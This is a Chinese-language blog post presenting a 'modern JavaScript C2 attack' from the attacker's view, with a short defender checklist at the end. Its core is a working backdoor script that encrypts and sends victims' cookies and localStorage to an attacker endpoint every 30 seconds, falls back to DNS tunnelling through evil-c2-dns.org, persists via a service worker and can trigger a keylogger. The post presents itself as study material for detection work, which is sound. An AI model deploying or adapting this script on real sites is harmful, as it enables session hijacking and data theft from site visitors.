🌀 鱼油のB10g

✦ 不定期更新技术随想

✦ 分享奇妙发现

📌 近期动态:

探索AI和工具使用...

这次的内容全部都仅供学习参考使用,在相对不安全的环境中模拟。
脱离本地localhost使用那就感谢你给网警刷KPI了~
准备好就GOGOGO(邓超)

接下来我们来讲讲C2类通信(例如,信标,加密泄露)。重点关注行为分析和签名检测。
然后让我们用案例来讲讲可能的攻击模式

🔥攻击者视角——现代JavaScript命令与控制(C2)攻击

场景:攻击者在被入侵的网站中嵌入恶意JavaScript代码,以实现:
将受害者数据(如cookies、本地存储数据)发送至命令与控制(C2)服务器。
执行动态命令(如键盘记录、截图数据窃取)。
攻击代码(隐蔽的JavaScript C2后门):
(代码仅供参考)

// ===== attack ===== //
// 1. 加密模块(使用WebCrypto API模拟AES加密)
async function encrypt(data, key) {
    const iv = crypto.getRandomValues(new Uint8Array(16)); // 生成16字节初始化向量
    const encoded = new TextEncoder().encode(data);
    // 导入密钥并进行AES-CBC模式加密配置
    const cryptoKey = await crypto.subtle.importKey('raw', new TextEncoder().encode(key), 
        { name: 'AES-CBC' }, false, ['encrypt']);
    const encrypted = await crypto.subtle.encrypt({ name: 'AES-CBC', iv }, cryptoKey, encoded);
    // 将二进制数据转换为逗号分隔字符串格式(便于网络传输)
    return { iv: Array.from(iv).join(','), data: Array.from(new Uint8Array(encrypted)).join(',') };
}

// 2. C2通信模块(主用Fetch请求+DNS隧道备用方案)
async function callHome(c2Url, data) {
    try {
        // 主通信方式:向C2服务器发起Fetch请求(HTTPS协议)
        const res = await fetch(c2Url, {
            method: 'POST',
            body: JSON.stringify(await encrypt(data, 's3cr3t_k3y')), // 加密后数据
            headers: { 'Content-Type': 'text/plain' } // 伪装成普通文本传输
        });
        return await res.json();
    } catch {
        // 备用方案:DNS隧道(当fetch请求被拦截时)
        // 将数据Base64编码并截取前60字符构造特殊子域名
        const fallbackUrl = `http://${btoa(data).substr(0, 60)}.evil-c2-dns.org`;
        new Image().src = fallbackUrl; // 通过图片标签触发DNS查询泄露数据
    }
}

// 3. 持久化模块(潜伏在本地存储+服务线程)
if (!localStorage.getItem('malicious_loader')) {
    localStorage.setItem('malicious_loader', 'true'); // 植入持久化标记
    navigator.serviceWorker.register('/sw.js'); // 注册Service Worker实现页面重载后存活
}

// 4. 指令执行模块(攻击者远程控制)
setInterval(async () => {
    // 定时发送包含cookie和本地存储的加密数据
    const cmd = await callHome('https://legit-api.com/malicious-endpoint', 
        JSON.stringify({ 
            cookies: document.cookie, 
            localStorage: JSON.stringify(localStorage) 
        }));
    if (cmd?.order === 'keylog') startKeylogger(); // 动态执行键盘记录指令
}, 30000); // 每30秒发送信号

攻击者的技术与目的

让我们来列个表:

技术 目的 实际应用
AES 对从网络数据丢失防护(DLP)系统中窃取的数据进行隐藏 绕过基于特征码得到监测
DNS隧道技术 若HTTPS被阻止时作为备用手段 通过DNS查询窃取数据
服务工作线程 维持持久性 在页面清除Cookie后仍然能存留
动态命令 远程控制(键盘记录、截图) 在入侵后根据攻击者的目标进行调整

🔍 攻击者-防御者思维模式核心要点

攻击者手法:

滥用JS灵活性
动态执行:利用eval()、Function()等动态代码执行功能注入恶意负载 。
加密混淆:通过AES、RSA等算法加密恶意代码,规避基于特征码的检测。
DNS隧道:将数据编码为DNS查询,绕过HTTPS封锁,实现隐蔽通信。
防御者策略:

静态检查
黑名单拦截:过滤高危API(如eval)和已知恶意域名/IP 。
内容安全策略(CSP):限制脚本来源,但需注意配置漏洞(如域名泛化或base标签绕过)。
动态检查
熵值分析:检测加密/混淆代码的高随机性,但攻击者可能通过插入低熵模式(如Shannon编码)规避 。
行为监控:追踪异常操作(如大量DNS请求、进程注入) 。
全局可见性
日志审计:记录关键事件(如文件修改、特权操作) 。
SIEM(安全信息与事件管理):关联多源数据,识别隐蔽攻击链(如DNS隧道+加密通信的组合行为)。

posted on 2025-05-18 22:11  鱼油YOU  阅读(271)  评论(0)    收藏  举报